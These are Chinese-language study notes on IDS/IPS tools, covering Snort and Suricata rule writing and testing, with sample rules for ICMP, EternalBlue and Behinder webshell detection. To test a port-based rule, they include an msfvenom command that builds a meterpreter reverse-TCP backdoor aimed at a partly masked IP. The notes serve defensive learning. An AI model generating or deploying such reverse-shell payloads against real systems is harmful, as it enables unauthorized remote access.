目录
IDS&IPS
IDS:Intrusion detection systems 入侵检测系统
IPS:Intrusion prevention systems 入侵防御系统
测评:https://www.iculture.cc/cybersecurity/pig=5629
Snort
参考:https://www.snort.org/
安装:https://mp.weixin.qq.com/s/haxqngjZBcrYs2QsQN7aqg
测试:
配置文件,规则写法,使用参数
https://www.cnblogs.com/yuersan/p/15236326.html
https://blog.csdn.net/hexf9632/article/details/94715434
https://blog.csdn.net/qq_43968080/article/details/103378952
自写规则:
1、ICMP协议警告-协议
snort -i eth0 -c /etc/snort/snort.conf -A fast -l /var/log/snort
alert icmp any any -> any any (msg:"ICMP test"; gid:1;sid:10000001;rev:1;)
2、MSF后门警告-端口
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=47.94.xxx.xxx LPORT=7799 -f elf >7799.elf
my.rules
include $RULE_PATH/my.rules
snort -i eth0 -c /etc/snort/snort.conf -A fast -l /var/log/snort
alert tcp any 7799 -> any any (msg:"SNORT:visit destport tcp 7799"; sid:201900001; rev:1;)
3、识别永恒之蓝-特征
alert smb any any -> $HOME_NET any (msg:“ET EXPLOIT Possible ETERNALBLUE MS17-010”; flow:to_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)
Suricata
下载:https://github.com/OISF/suricata
apt-get install suricata
参考:https://suricata.readthedocs.io/
1、例子:访问百度触发规则
rules:
alert http any any -> any any (msg:"wg hit baidu.com....";content:"baidu";reference:url,www.baidu.com;)
alert https any any -> any any (msg:"wufeng hit HFish....";content:"/web/scanners";reference:url:xx.xx.xx.xx:xx;)
测试:
1.检测漏洞攻击:MS17010
suricata -c /etc/suricata/suricata.yaml -i eth0 -s /etc/suricata/rules/wannamine.rules
cat /var/log/suricata/fast.log
2.检测冰蝎后门:SHELL.PHP
suricata -c /etc/suricata/suricata.yaml -i eth0 -s /etc/suricata/rules/Behinder3.rules
cat /var/log/suricata/fast.log
Suricata规则下载:
https://github.com/al0ne/suricata-rules
https://github.com/ptresearch/AttackDetection
#打包系统:securityonion
集成snort/suricata、bro(zeek)、elk、ossec等
https://securityonionsolutions.com/software